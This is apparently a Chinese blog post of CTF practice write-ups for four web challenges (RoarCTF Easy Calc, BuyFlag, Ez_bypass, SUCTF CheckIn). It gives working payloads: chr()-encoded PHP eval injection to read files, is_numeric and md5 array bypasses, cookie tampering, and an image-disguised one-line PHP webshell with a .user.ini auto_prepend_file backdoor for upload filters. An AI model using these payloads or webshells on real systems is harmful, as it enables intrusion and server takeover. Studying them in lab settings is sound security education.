刷题学习记录

[RoarCTF 2019]Easy Calc1

 尝试输入一些字符

        

查看源码 ,发现calc.php文件并访问

 

如果 'num' 参数存在,则将其赋值给变量 $str。定义黑名单数组 $blacklist,其中包含一些特殊字符以及正则表达式元字符。对 $blacklist 中的每个元素,使用 preg_match() 函数检查 $str 是否包含该元素,如果包含,则输出 "what are you want to do?" 字符串并结束进程。如果 $str 中不包含任何黑名单元素,则使用 eval() 函数将 $str 当作 PHP 代码执行,并将结果输出。

/calc.php? num=2;var_dump(scandir(chr(47)))

其中var_dump()用来打印;
scandir()用来获扫描目录下文件;
chr(47)是“/”的ASCII编码。

读取f1agg文件

calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

 其中:
file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法;
chr(47)是/的ASCII编码;
chr(102)是f的ASCII编码;
chr(49)是1的ASCII编码;
chr(97)是a的ASCII编码;
chr(103)是g的ASCII编码。

[极客大挑战 2019]BuyFlag1

 拿到这个页面不知道要干什么,先查看源码,提示啥都没有

找到右上角的菜单点开

 提示我们要买flag,而且还不便宜

 查看源码


	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}

变量password使用POST的传参方式进行传参,不难看出来,只要$password == 404为真,那么,就可以绕过。函数is_numeric()判断其中的参数是数字还是其他,如果是数字则判断为真,否则为假。

那么password=404+一个字母

payload:password=404a&money=100000000

但是传参后并没有回显,bp抓包

 Cookie: user=0将其改为1

 密码正确了,但是传入的数字太长了,那就进行数组绕过,绕过这串长的数字

  知识点

1.通过修改cookie绕过身份认证机制;
2.通过查看PHP的版本,查看漏洞利用点;
3.is_number()函数strcmp()函数的利用

[MRCTF2020]Ez_bypass1

 查看源码

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}

源码中要对id和gg进行md5加密,要先绕过md5(),由于md5无法对数组进行加密,所以payload:/?id[]=1&gg[]=2

后面有if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
要绕过is_numeric()函数,那么passwd不能全是数字,在后面加上一个字母,前提是处理后

passwd要等于1234567

最后的payload:/?id[]=1&gg[]=2

passwd=1234567a

知识点:

  • GET传参
  • POST传参
  • md5()绕过
  • is_numeric()函数绕过

[SUCTF 2019]CheckIn1

 要上传图片

 以图片的形式上传一句话木马

GIF89a

<?php eval(@$_POST['1234']);?>

显示后缀非法,不能用php,那就换成其他的后缀,但是换了之后也还是非法后缀,直到直接上传jpg之后

回显<? in contents!

说明不能有<?

那这里就清晰了,修改一下一句话木马使得一句话木马没有<?

GIF89a?
<script language='php'>eval($_POST['1234']);<scirpt>

但是到后面我就搞不懂要怎么操作了,后面的知识点是.user.ini文件构成的PHP后门

具体的思路和流程是上传.user.ini文件,这个文件必须在一句话木马前上传,然后再上传一句话木马,上传完成之后可以用蚁剑连接

.user.ini文件

GIF89a?
auto_prepend_file=1.jpg

 解题

先上传.user.ini文件,上传完成后就上传一句话木马

GIF89a?
<script language='php'>eval($_POST['abc']);<scirpt>

 连接成功后就查看文件找flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值